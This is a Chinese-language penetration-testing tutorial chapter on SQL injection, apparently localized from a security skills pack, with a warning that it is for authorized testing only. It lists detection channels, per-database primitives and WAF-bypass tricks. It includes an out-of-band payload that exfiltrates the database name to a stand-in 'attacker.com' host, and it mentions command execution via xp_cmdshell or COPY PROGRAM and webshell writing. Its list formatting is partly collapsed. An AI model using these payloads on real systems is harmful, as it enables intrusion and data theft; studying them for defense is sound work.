第 5 章 · 01 SQL 注入 本节摘要:SQL 注入(SQLi)是最持久、影响最大的漏洞类别之一。现代利用聚焦于解析器差异、ORM/查询构建器的边界、JSON/XML/CTE/JSONB 攻击面、带外数据外泄(OAST)以及隐蔽的盲注通道。本节讲透它的攻击面、四类检测通道(报错/布尔/时间/带外)、各 DBMS(MySQL/PostgreSQL/MSSQL/Oracle)的原语差异、绕过 WAF 的技巧、如何验证避免误报,以及它的影响评估。读完本节,你能在授权测试中系统性地排查一个应用的 SQLi 风险,并理解为什么「任何拼接到 SQL 的字符串都要当嫌疑点」。 内容来源:原项目知识包 ,汉化并套用体系化模板。
本节摘要:SQL 注入(SQLi)是最持久、影响最大的漏洞类别之一。现代利用聚焦于解析器差异、ORM/查询构建器的边界、JSON/XML/CTE/JSONB 攻击面、带外数据外泄(OAST)以及隐蔽的盲注通道。本节讲透它的攻击面、四类检测通道(报错/布尔/时间/带外)、各 DBMS(MySQL/PostgreSQL/MSSQL/Oracle)的原语差异、绕过 WAF 的技巧、如何验证避免误报,以及它的影响评估。读完本节,你能在授权测试中系统性地排查一个应用的 SQLi 风险,并理解为什么「任何拼接到 SQL 的字符串都要当嫌疑点」。
内容来源:原项目知识包
strix/skills/vulnerabilities/sql_injection.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
数据库:经典关系型(MySQL/MariaDB、PostgreSQL、MSSQL、Oracle);新攻击面包括 JSON/JSONB 操作符、全文检索、地理空间、窗口函数、CTE、lateral join。
集成路径:ORM、查询构建器、存储过程;搜索服务器、报表/导出器。
输入位置(都值得测):
whereRaw / orderByRaw、ORM 里的字符串模板💡 核心心法:把每一处字符串拼接到 SQL 的地方都当嫌疑点。ORM 不是保险箱——
whereRaw这类「原始」接口照样能注入。
报错型(Error-Based):诱发类型/约束/解析器错误,泄露堆栈/版本/路径。
布尔型(Boolean-Based):发两个只在谓词真假上不同的请求,对比状态码/body/长度/ETag。
时间型(Time-Based):SLEEP / pg_sleep / WAITFOR;用子查询门控避免全局延迟噪声。
带外型(OOB / OAST):通过 DB 特定原语触发 DNS/HTTP 回调(详见第三节)。
@@version、database()、user()、current_user()extractvalue() / updatexml()(旧版),JSON 函数塑形报错LOAD_FILE()、SELECT ... INTO DUMPFILE/OUTFILE(需 FILE 权限、secure_file_priv)LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))SLEEP(n)、BENCHMARKversion()、current_user、current_database()xpath() 报错COPY (program ...) 或 dblink/外部数据包装器(启用时);http 扩展pg_sleep(n)COPY table TO/FROM '/path'(需超级用户)、lo_import/lo_export->、->>、@>、?| 配合 lateral/CTE 做盲注提取@@version、db_name()、system_user、user_name()xp_dirtree、xp_fileexist;通过 OLE 自动化(sp_OACreate)发 HTTP(启用时)xp_cmdshell(常被禁)、OPENROWSET/OPENDATASOURCEWAITFOR DELAY '0:0:5';重函数造成可测延迟FOR XML PATH 泄露DUAL 为基础,用 UTL_INADDR/UTL_HTTP(需权限)做带外,DBMS_LOCK.SLEEP 做时间盲注。WAF 与过滤常见,绕过思路:
SqL、SeLeCtUN/**/ION、SEL/*x*/ECT0x)/CHAR()SLEEP 换 BENCHMARK;过滤 @@version 换 version()+、%09(tab)、%0a(换行)替代空格💡 绕过的本质:WAF 基于模式匹配,而后端 SQL 解析器容错性强——找到「WAF 拒绝但解析器接受」的表示形式就能绕过。
确认一个 SQLi 真实存在的稳妥步骤:
常见误报:WAF 拦截导致的延迟被误判为时间盲注(对比基线);CDN 缓存导致的布尔差异(禁用缓存重测);随机广告导致的响应长度差异。
SQLi 的影响取决于 DBMS 与权限:
INTO OUTFILE 写 webshell;MSSQL 的 xp_cmdshell;PostgreSQL 的 COPY PROGRAM。⚠️ 即便是「只能读」的 SQLi,在合规与隐私层面也是高危(泄露用户数据)。
whereRaw 也不例外。SLEEP/pg_sleep/WAITFOR)、带外(OAST 回调)。LOAD_FILE/SLEEP)、PostgreSQL(COPY PROGRAM/pg_sleep/JSONB)、MSSQL(xp_cmdshell/WAITFOR/xp_dirtree)、Oracle(UTL_*)。下一节,我们看 NoSQL 注入——当数据库变成 MongoDB 这类文档库,注入的形态和防御都不同。